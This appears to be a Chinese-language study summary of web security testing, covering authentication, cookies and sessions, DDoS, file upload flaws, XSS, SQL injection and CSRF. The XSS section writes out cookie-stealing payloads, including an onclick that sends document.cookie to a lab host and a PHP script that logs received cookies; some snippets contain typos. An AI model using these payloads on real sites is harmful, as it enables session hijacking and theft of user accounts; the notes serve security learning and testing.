安全測試學習總結

 

安全測試學習總結

 
  1、安全測試概述
 
  程序員在開發過程當中會有意或無心埋下一些漏洞,發現一些安全性漏洞,尋求有效的解決方法是測試工程師責無旁貸的責任。
  安全測試主要涉及如下內容:
 
  一、認證與受權
  · 受權:在網站中不一樣的角色有不一樣的權限。
  · 認證:一些網頁訪問須要輸入密碼進行登陸認證。
  在認證與受權中要儘量避免出現漏洞,不然將被不法分子有意地進行利用。
 
  二、Session與Cookie
  · Session在網絡應用中稱爲"會話控制",是保存在服務器端的數據或者文件;
  · cookie是保存在客戶端電腦上的文件;
  cookie很容易經過某種手段獲取到咱們的權限以及一些隱私信息;session ID是惟一的標記,一旦別人經過cookie欺騙等手段獲取了session ID,能夠將其做爲協議包發給服務器,從而就擁有了咱們的權限。
 
  三、DDOS分佈式拒絕服務攻擊
  分佈式拒絕服務攻擊(DDOS)指的是藉助於客戶/服務器技術,將多個計算機聯合起來做爲攻擊平臺,對一個或多個目標發動攻擊,從而成倍地提升拒絕服務攻擊的威力。
  一般,攻擊者盜用別人的帳號將DDOS主控程序安裝在一個計算機上,代理程序安裝在網絡上的許多計算機上,在一個設定的時間,主控程序將與大量代理程序進行通信。代理程序收到指令就發動攻擊,從而佔用服務器的資源,沒法正常向用戶提供服務。
  任何事物的發展都是有利有弊的,高速普遍鏈接的網絡也不例外。一方面網絡給你們帶來了便捷,另外一方面也爲DDOS攻擊創造了極爲有利的條件。在低速網絡時代時,因爲技術的限制,黑客佔領攻擊用的傀儡機時,老是會優先考慮離目標網絡距離近的機器。而在現在網絡高速發展、普遍鏈接的信息化時代,數據傳輸再也不是問題,這使得攻擊能夠從更遠的地方或者其餘城市發起,從而做爲攻擊的傀儡機能夠分佈在更大的範圍,選擇起來更靈活了。
  被DDOS攻擊時的現象:
  1)被攻擊主機上會有大量等待的TCP鏈接;
  2)網絡中充斥着大量的無用的數據包,源地址爲假;
  3)製造高流量無用數據,形成網絡擁塞,使受害主機沒法正常和外界通信;
  4)利用受害主機提供的服務或傳輸協議上的缺陷,反覆高速的發出特定的服務請求,使受害主機沒法及時處理全部正常請求;
  四、文件上傳漏洞
 
  文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,並經過此腳本文件得到了執行服務器命令的能力。
  大部分的網站和應用系統都具有上傳功能,例如用戶頭像上傳,圖片上傳,文檔上傳,視頻上傳等。因爲實現文件上傳的代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型,致使容許攻擊者向某個目錄上傳任意PHP文件,並可以將這些文件傳遞給PHP解釋器,就能夠在遠程服務器上執行任意PHP腳本。
  當系統存在文件上傳漏洞時攻擊者能夠將病毒,木馬,其餘惡意腳本或者是包含了腳本的圖片上傳到服務器,這些文件將對攻擊者後續攻擊提供便利。根據具體漏洞的差別,此處上傳的腳本能夠是正常後綴的PHP,ASP以及JSP腳本,也能夠是篡改後綴後的這幾類腳本。
  五、XSS跨站攻擊
 
  XSS跨站攻擊指的是攻擊者利用網站程序對用戶輸入過濾不足,輸入能夠顯示在頁面上對其餘用戶形成影響的HTML代碼,從而盜取用戶資料、利用用戶身份進行某種動做或者對訪問者進行病毒侵害的一種攻擊方式。
  XSS漏洞是目前爲止發現的在全部網站超過80%比例的定製Web應用程序中最多見的漏洞。XSS主要攻擊的是用戶,例如釣魚網站獲取別的用戶的Session ID,經過別人的輸入來獲取關鍵信息。
  XSS是一種攻擊技術,它使得加載在用戶的Web瀏覽器上的網站出現攻擊者提供的可執行代碼,當黑客利用該存在漏洞的網站做爲攻擊對象時,用戶理所固然的成爲受害者。
  跨站攻擊的類型包含持久型跨站、非持久型跨站、DOM跨站,不一樣的跨站類型,有不一樣的跨站特色與區別,但又有跨站之間的相互聯繫。
  存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等。
  反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。
  DOM跨站攻擊是最隱蔽型的攻擊,也就是說輸出內容在源碼裏面看不到,不是直接輸出的。
  六、SQL注入
 
  經過任何能夠輸入的地方,向服務器端注入信息,是廣泛的攻擊方式。
  整體來講就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
  具體來講,它是利用現有應用程序,將(惡意)的SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。
  不知道設計者的SQL語句,不知道用戶名,密碼,採用這種暴力破解,準備足夠多的帳號信息,不停地進行試驗,總能夠找到用戶名,密碼。快速破解須要藉助於代碼,而不是人工主要採用的方式。
  七、跨站請求僞造(CSRF)
 
  跨站請求僞造(CSRF)指的是攻擊者控制受害者的計算機,強迫受害者的瀏覽器向一個易受攻擊的Web應用程序發送請求,最後達到攻擊者所須要的操做行爲。惡意請求會帶上瀏覽器的Cookie,受攻擊的Web應用信任瀏覽器的Cookie。
 
 
  2、安全測試類型詳解
  一、認證與受權
  儘可能避免未被受權的頁面能夠直接訪問,應該對每一個頁面都有一個session變量的判斷。若是沒有判斷只要用戶知道URL地址就能進行訪問。
  測試方法:在不登錄的狀況下,使用絕對URL地址對頁面進行訪問,可否正常訪問,絕對URL地址直接經過httpwatch對每一個請求進行獲取。
  二、session與cookie
  避免保存敏感信息到cookie文件中,cookie的保存能夠提升用戶的體驗。
  做用域:
  Set-Cookie:PHPSESSIONID= ;pash=/相對於根目錄而言的,如C:\xampp\htdocs就是根目錄,agileone保存的信息是在phpwind是能讀取到的,相互之間是一樣的做用域,兩個系統能夠交叉讀取cookie信息。
  解決辦法是:不一樣的應用系統不一樣的做用域,如將agileone和phpwind兩個應用配置在不一樣的做用域當中:便可修改代碼path=/agileone,path=/phpwind.
  
  五、XSS跨站攻擊
  跨站腳本攻擊:跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的。
  主要是但願攻擊用戶,經過用戶獲取敏感信息。
  1)如何寫XSS腳本:
  <input type="button" value="點我" onclick="alert('你好')"/>標準的html代碼,也能夠做爲測試的標準。
  服務器不會執行,只是別的用戶會進行執行。
  換成圖片
  <img src="https://www.baidu.com/img/bd_logo1.png" onclik="alert=('你被黑了')"/>
  2)如何獲取用戶的cookie:
  使用跨站攻擊的工具,Java script有一個方法document.cookie可獲取cookie屬性。
  具體以下:
  <img src="https://www.baidu.com/img/bd_logo1.png" onclik="alert(document.cookie)"/>
  直接點擊圖片就能獲取頁面的cookie。
  3)如何進行cookie傳輸:
  <1>單擊按鈕時直接打開頁面,頁面是設置好的頁面,經過GET參數直接把cookie信息傳到該頁面,能夠遠程收到cookie;
  <2>獲取cookie信息進行位置變換,進行保存以後就能獲取到相應的信息。
  <3>實際操做:
  在C:\xampp\htdocs下新建cookie.php頁面:
  <?php $cookieValue=$_GET['cookie'];
  $fire=fopen("c:\cookie.txt","a");$符號表示定義變量,a表示往文件中追加,w表示寫,r表示讀;
  fwrite($file,$cookieValue);
  fclose($file);
  <img src="https://www.baidu.com/img/bd_logo1.png" onclik="location.href='http://172.27.244.1/cookie.php?cookie='+document.cookie'"/>
  會過濾+,不能進行cookie獲取。下一個方法將cookie值存入當前頁面的文本框,使用HTTPwatch進行獲取元素的id:
  <img src="https://www.baidu.com/img/bd_logo1.png" onclik="document.getElementByld('attendee') value=document.cookie"/>
  4)DOM跨站攻擊實例:
  一般的狀況是<a href="xxx" title="標題內容">xxxxxxx</a>,此標題內容在進行查看源代碼的時候進行查找是查找不到的。換句話說這個是被動態產生的,因此就存在潛在的問題,若是"標題內容"寫爲xxxxxx"><img><",整個代碼就會無形中插入一個HTML標籤
  <a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a>
  可是 實際狀況下," , > 這些符號都是會被過濾的,你輸入的標題內容寫爲
  xxxxxxxxx&quot;&gt;&lt;img&gt;&lt;&quot;
  因爲是動態產生的,最後&quot; 會自動變爲",這就形成了DOM攻擊。
  5)防護XSS的原則
  對輸入的數據進行"過濾",對輸出數據進行 "編碼"。這裏的"編碼"也要注意,必須針對數據具體的上下文語境進行鍼對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode,若是數據是輸出到javascript代碼中進行拼接的,那就要進行javascriptEncode。
  若是不搞清楚數據具體輸出的語境,就有可能由於HtmlParser()和javascriptParser()兩種解析引擎的執行前後問題致使看似嚴密的"編碼"形同虛設。
  六、SQL注入
  是最通用的一個攻擊手段,要求必需要有數據庫,且必須是關係型數據庫。
  服務器對SQL的防範也是很是嚴密。
  目的:1)獲取服務器端數據庫的內容;
  2)修改數據庫的內容;
  對於php、mysql、jsp、oracle、access等都能進行攻擊,且攻擊方式不一致。
相關文章
相關標籤/搜索